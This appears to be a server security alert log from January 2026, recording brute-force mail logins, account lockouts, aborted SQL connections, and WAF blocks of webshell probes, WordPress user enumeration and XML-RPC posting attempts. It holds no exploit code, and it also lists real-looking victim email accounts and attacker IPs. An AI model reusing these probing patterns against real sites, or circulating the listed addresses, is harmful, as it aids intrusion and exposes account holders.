IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.geminiflourmill.com/product-detail.php?id=145994 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.93.167.144
country_id: 1835841
description:
2026-01-30 22:10:56 dovecot_login authenticator failed for H=([220.93.167.144]) [220.93.167.144]:58164: 535 Incorrect authentication data


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 22:10:14 dovecot_login authenticator failed for H=(Go5pGZdRmi) [178.16.54.138]:64742: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 116.113.193.70
country_id: 1814991
description:
2026-01-30 22:10:27 dovecot_login authenticator failed for H=([116.113.193.70]) [116.113.193.70]:60669: 535 Incorrect authentication data (set_id=prayerlink@agpc.org.my)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 116.109.37.121
country_id: 1562822
domain: www.geminiflourmill.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.geminiflourmill.com/product-detail.php?id=241640 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 192.241.150.89
country_id: 6252001
description:
2026-01-30 22:10:48 1047131 [Warning] Aborted connection 1047131 to db: 'unconnected' user: 'unauthenticated' host: '192.241.150.89' (This connection closed normally without authentication)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-01-30 22:10:11 dovecot_login authenticator failed for H=(fbYxKVtpmY) [178.16.54.22]:60886: 535 Incorrect authentication data (set_id=alanlai)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 30 22:10:20 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account marketing has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 22:10:22 dovecot_login authenticator failed for H=(Q6dGQKw39) [185.230.124.69]:55845: 535 Incorrect authentication data (set_id=marketing)


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 68.183.141.28
country_id: 6252001
description:
2026-01-30 22:10:47 1047130 [Warning] Aborted connection 1047130 to db: 'unconnected' user: 'unauthenticated' host: '68.183.141.28' (This connection closed normally without authentication)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 120.29.140.140
country_id: 1835841
description:
2026-01-30 22:10:48 dovecot_login authenticator failed for H=([120.29.140.140]) [120.29.140.140]:56707: 535 Incorrect authentication data (set_id=zulkifli.abdul-mutalib@cofreth.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 2.58.56.77
country_id: 2750405
description:
2026-01-30 22:10:09 dovecot_login authenticator failed for H=(dPZO07QOBp) [2.58.56.77]:63990: 535 Incorrect authentication data (set_id=munch@nexuscollection.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 22:11:07 dovecot_login authenticator failed for H=(DrIEiMJ) [185.230.124.69]:64109: 535 Incorrect authentication data (set_id=marketing)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 83.239.84.130
country_id: 2017370
description:
2026-01-30 22:11:32 dovecot_login authenticator failed for H=([83.239.84.130]) [83.239.84.130]:32976: 535 Incorrect authentication data (set_id=prayerlink)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 4.223.96.43
country_id: 2661886
domain: zrrtc.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/wp-admin/images/file.php||SC:/home2/dpscomsec/public_html/wp-admin||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.191.91.95
country_id: 1562822
domain: www.geminiflourmill.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.geminiflourmill.com/product-detail.php?id=783496 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 30 22:11:05 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account marketing has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-01-30 22:11:14 dovecot_login authenticator failed for H=(rG8KKGuc) [178.16.54.22]:64303: 535 Incorrect authentication data (set_id=bentey@mckd.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 218.21.243.58
country_id: 1814991
description:
2026-01-30 22:12:00 dovecot_login authenticator failed for H=([218.21.243.58]) [218.21.243.58]:39778: 535 Incorrect authentication data (set_id=central)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 2.58.56.77
country_id: 2750405
description:
Jan 30 22:11:21 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account munch@nexuscollection.com has been locked for the attacker IP 2.58.56.77


plugin: modsec
rule: 77140942
name: IM360 WAF: Possible WordPress Dashboard access for infectors
abuser: 103.121.16.21
country_id: 1643084
domain: pftfood.com
description:
IM360 WAF: Possible WordPress Dashboard access for infectors||RSV:7.71||T:APACHE||MV:/wp-json/wp/v2/users||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 124.11.64.42
country_id: 1668284
description:
2026-01-30 22:11:58 dovecot_login authenticator failed for H=124-11-64-42.static.tfn.net.tw [124.11.64.42]:55671: 535 Incorrect authentication data (set_id=marketing@smartcable.com.my)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 22:11:32 dovecot_login authenticator failed for H=(mPRHit) [185.230.124.69]:61982: 535 Incorrect authentication data (set_id=marketing)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 138.199.59.196
country_id: 798544
description:
2026-01-30 22:11:18 dovecot_login authenticator failed for H=(ADMIN) [138.199.59.196]:24704: 535 Incorrect authentication data (set_id=dsc_team@dsc-expat.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 22:11:40 dovecot_login authenticator failed for H=(oR6q7WP7mE) [178.16.54.138]:52202: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 2.58.56.77
country_id: 2750405
description:
2026-01-30 22:11:23 dovecot_login authenticator failed for H=(lieGeGUJL) [2.58.56.77]:59582: 535 Incorrect authentication data (set_id=munch@nexuscollection.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.61.97.108
country_id: 1814991
description:
2026-01-30 22:11:48 dovecot_login authenticator failed for H=([111.61.97.108]) [111.61.97.108]:42226: 535 Incorrect authentication data


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.184.50.42
country_id: 1643084
description:
2026-01-30 22:12:25 dovecot_plain authenticator failed for H=(6LCBR6) [103.184.50.42]:57099: 535 Incorrect authentication data (set_id=rohaidaak@euratech.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 2.58.56.77
country_id: 2750405
description:
2026-01-30 22:12:09 dovecot_login authenticator failed for H=(E0Yadk) [2.58.56.77]:57243: 535 Incorrect authentication data (set_id=munch@nexuscollection.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-01-30 22:12:16 dovecot_login authenticator failed for H=(cYs6eJHBEx) [178.16.54.22]:58482: 535 Incorrect authentication data (set_id=alanlai)


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 183.98.212.74
country_id: 1835841
description:
Jan 30 22:12:25 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account marketing has been temporarily locked by Imunify PAM(183.98.212.74)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 183.98.212.74
country_id: 1835841
description:
2026-01-30 22:12:27 dovecot_login authenticator failed for H=([183.98.212.74]) [183.98.212.74]:50152: 535 Incorrect authentication data (set_id=marketing)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 2.58.56.77
country_id: 2750405
description:
Jan 30 22:12:07 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account munch@nexuscollection.com has been locked for the attacker IP 2.58.56.77


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 41.254.86.155
country_id: 2215636
description:
2026-01-30 22:12:08 dovecot_plain authenticator failed for H=(648A5DR0V5VM) [41.254.86.155]:52751: 535 Incorrect authentication data (set_id=rnd@plomalite.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 22:12:08 dovecot_login authenticator failed for H=(kznEwcO) [185.230.124.69]:60019: 535 Incorrect authentication data (set_id=marketing)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 22:12:35 dovecot_login authenticator failed for H=(0zUlI86bok) [178.16.54.138]:64735: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 30 22:12:06 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account marketing has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 30 22:13:09 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account marketing has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-01-30 22:13:21 dovecot_login authenticator failed for H=(3GNXDf3X) [178.16.54.22]:61522: 535 Incorrect authentication data (set_id=bentey@mckd.com.my)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 103.121.16.21
country_id: 1643084
domain: pftfood.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.pftfood.com||ServerName:pftfood.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:4acb3fbe3640912ba9c3f077cbd29d3ebc206acc||Title:0x88f862f5||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 2.58.56.77
country_id: 2750405
description:
2026-01-30 22:13:16 dovecot_login authenticator failed for H=(CMf7pI) [2.58.56.77]:51717: 535 Incorrect authentication data (set_id=munch@nexuscollection.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.53.15.56
country_id: 2542007
description:
2026-01-30 22:13:38 dovecot_login authenticator failed for H=([102.53.15.56]) [102.53.15.56]:49741: 535 Incorrect authentication data (set_id=hafizi@essemgroup.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.228.231
country_id: 1269750
description:
2026-01-30 22:13:48 dovecot_login authenticator failed for H=(nsg-corporate-231.228.187.122.airtel.in) [122.187.228.231]:35873: 535 Incorrect authentication data (set_id=hafizi)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 22:13:05 dovecot_login authenticator failed for H=(J8Z8wp) [178.16.54.138]:65019: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 22:13:11 dovecot_login authenticator failed for H=(bWquETUgVd) [185.230.124.69]:60708: 535 Incorrect authentication data (set_id=marketing)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.112.146
country_id: 1269750
description:
2026-01-30 22:14:54 dovecot_login authenticator failed for H=([182.95.85.103]) [182.95.112.146]:41638: 535 Incorrect authentication data (set_id=www.facebook.comrnd)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 22:14:08 dovecot_login authenticator failed for H=(V6FoYu) [178.16.54.138]:62763: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-01-30 22:14:13 dovecot_login authenticator failed for H=(XcCJK1qUFh) [178.16.54.22]:49427: 535 Incorrect authentication data (set_id=bentey@mckd.com.my)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 22:14:29 dovecot_login authenticator failed for H=(fvZ0BIMmjx) [185.230.124.69]:54366: 535 Incorrect authentication data (set_id=marketing)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 2.58.56.77
country_id: 2750405
description:
2026-01-30 22:14:24 dovecot_login authenticator failed for H=(NJdNSSkeTb) [2.58.56.77]:59817: 535 Incorrect authentication data (set_id=munch@nexuscollection.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.124.142.134
country_id: 1733045
description:
2026-01-30 22:14:26 dovecot_login authenticator failed for H=([49.124.142.134]) [49.124.142.134]:48630: 535 Incorrect authentication data (set_id=kitty.yap@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.178.222.56
country_id: 2017370
description:
2026-01-30 22:14:46 dovecot_login authenticator failed for H=([178.178.222.56]) [178.178.222.56]:42452: 535 Incorrect authentication data (set_id=www.facebook.comrnd@plomalite.com)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 103.121.16.21
country_id: 1643084
domain: pftfood.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.pftfood.com||ServerName:pftfood.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:b26bd549f13b7a974eb0b582677cc3dc52848a94||Title:0xbeac5a8f||RSV:7.71||T:APACHE||


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 30 22:14:01 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account marketing has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 22:14:03 dovecot_login authenticator failed for H=(u5oZFcGTz) [185.230.124.69]:49290: 535 Incorrect authentication data (set_id=marketing)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 103.121.16.21
country_id: 1643084
domain: pftfood.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.pftfood.com||ServerName:pftfood.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:7de6effafd0047edb908458d4f8d1747714d917c||Title:0xb3931140||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 219.128.55.242
country_id: 1814991
description:
2026-01-30 22:15:22 dovecot_login authenticator failed for H=([219.128.55.242]) [219.128.55.242]:53652: 535 Incorrect authentication data (set_id=kitty.yap)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-01-30 22:15:06 dovecot_login authenticator failed for H=(ZgUzxFdNQ) [178.16.54.22]:60105: 535 Incorrect authentication data (set_id=bentey@mckd.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 22:15:11 dovecot_login authenticator failed for H=(ABJqwI240) [178.16.54.138]:60867: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 74.7.242.9
country_id: 6252001
domain: www.task.visoft.com.my
description:
IM360 WAF: Bad file extension||RSV:7.71||T:APACHE||MVN:REQUEST_FILENAME||MV:/vendor/phpoffice/phpexcel/Documentation/assets/ClassDiagrams/Classes/PHPExcel_Reader_Excel2007.cs||User:visoftcom||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 22:15:27 dovecot_login authenticator failed for H=(EhTmdVzHmR) [185.230.124.69]:57353: 535 Incorrect authentication data (set_id=marketing)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 89.67.37.219
country_id: 798544
description:
2026-01-30 22:15:41 dovecot_login authenticator failed for H=89-67-37-219.dynamic.play.pl [89.67.37.219]:38406: 535 Incorrect authentication data (set_id=jobstore.comchew@nexuscollection.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 2.58.56.77
country_id: 2750405
description:
2026-01-30 22:15:09 dovecot_login authenticator failed for H=(H0yd3r) [2.58.56.77]:63653: 535 Incorrect authentication data (set_id=munch@nexuscollection.com)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 103.81.118.12
country_id: 1269750
domain: pspoly.com.my
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:74431.pspoly.com.my||ServerName:pspoly.com.my||Method:metaWeblog.newPost||BlogID:1||TitleSHA:85d0b796fb989842e909215ec90b3336c33659ed||Title:0x42dd0218||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 22:16:09 dovecot_login authenticator failed for H=(0HJNOMY1B) [178.16.54.138]:62593: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 2.58.56.77
country_id: 2750405
description:
2026-01-30 22:16:13 dovecot_login authenticator failed for H=(HMhQ7swxF) [2.58.56.77]:49659: 535 Incorrect authentication data (set_id=munch@nexuscollection.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 22:16:18 dovecot_login authenticator failed for H=(960gIIods5) [185.230.124.69]:60877: 535 Incorrect authentication data (set_id=marketing)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-01-30 22:16:25 dovecot_login authenticator failed for H=(RvfftcqwE) [178.16.54.22]:52658: 535 Incorrect authentication data (set_id=bentey@mckd.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 2.58.56.77
country_id: 2750405
description:
Jan 30 22:16:34 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account munch@nexuscollection.com has been locked for the attacker IP 2.58.56.77


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 103.121.16.21
country_id: 1643084
domain: pftfood.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.pftfood.com||ServerName:pftfood.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:d7afadb6186b88d55f26a9d12c370e204f147f12||Title:0x92cfc860||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 74.7.242.9
country_id: 6252001
domain: www.task.visoft.com.my
description:
IM360 WAF: Bad file extension||RSV:7.71||T:APACHE||MVN:REQUEST_FILENAME||MV:/vendor/symfony/translation/Tests/fixtures/empty.ini||User:visoftcom||


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 46.151.182.187
country_id: 2750405
description:
2026-01-30 22:17:16 1047383 [Warning] Aborted connection 1047383 to db: 'unconnected' user: 'unauthenticated' host: '46.151.182.187' (This connection closed normally without authentication)


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 74.7.242.9
country_id: 6252001
domain: www.task.visoft.com.my
description:
IM360 WAF: Bad file extension||RSV:7.71||T:APACHE||MVN:REQUEST_FILENAME||MV:/vendor/phpoffice/phpexcel/Documentation/assets/ClassDiagrams/Classes/PHPExcel_Writer_Serialized.cs||User:visoftcom||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 2.58.56.77
country_id: 2750405
description:
2026-01-30 22:17:19 dovecot_login authenticator failed for H=(slw7ba) [2.58.56.77]:52408: 535 Incorrect authentication data (set_id=munch@nexuscollection.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 22:17:07 dovecot_login authenticator failed for H=(qDhCsS) [178.16.54.138]:59676: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 103.121.16.21
country_id: 1643084
domain: pftfood.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.pftfood.com||ServerName:pftfood.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:32d5de6c65826266e5b3d03a6d134a1f10c17614||Title:0x972a0829||RSV:7.71||T:APACHE||


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.54.22
country_id: 2750405
description:
Jan 30 22:17:16 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account bentey@mckd.com.my has been locked for the attacker IP 178.16.54.22


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.54.138
country_id: 2750405
description:
Jan 30 22:17:05 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account info@aire-fresh.com has been locked for the attacker IP 178.16.54.138


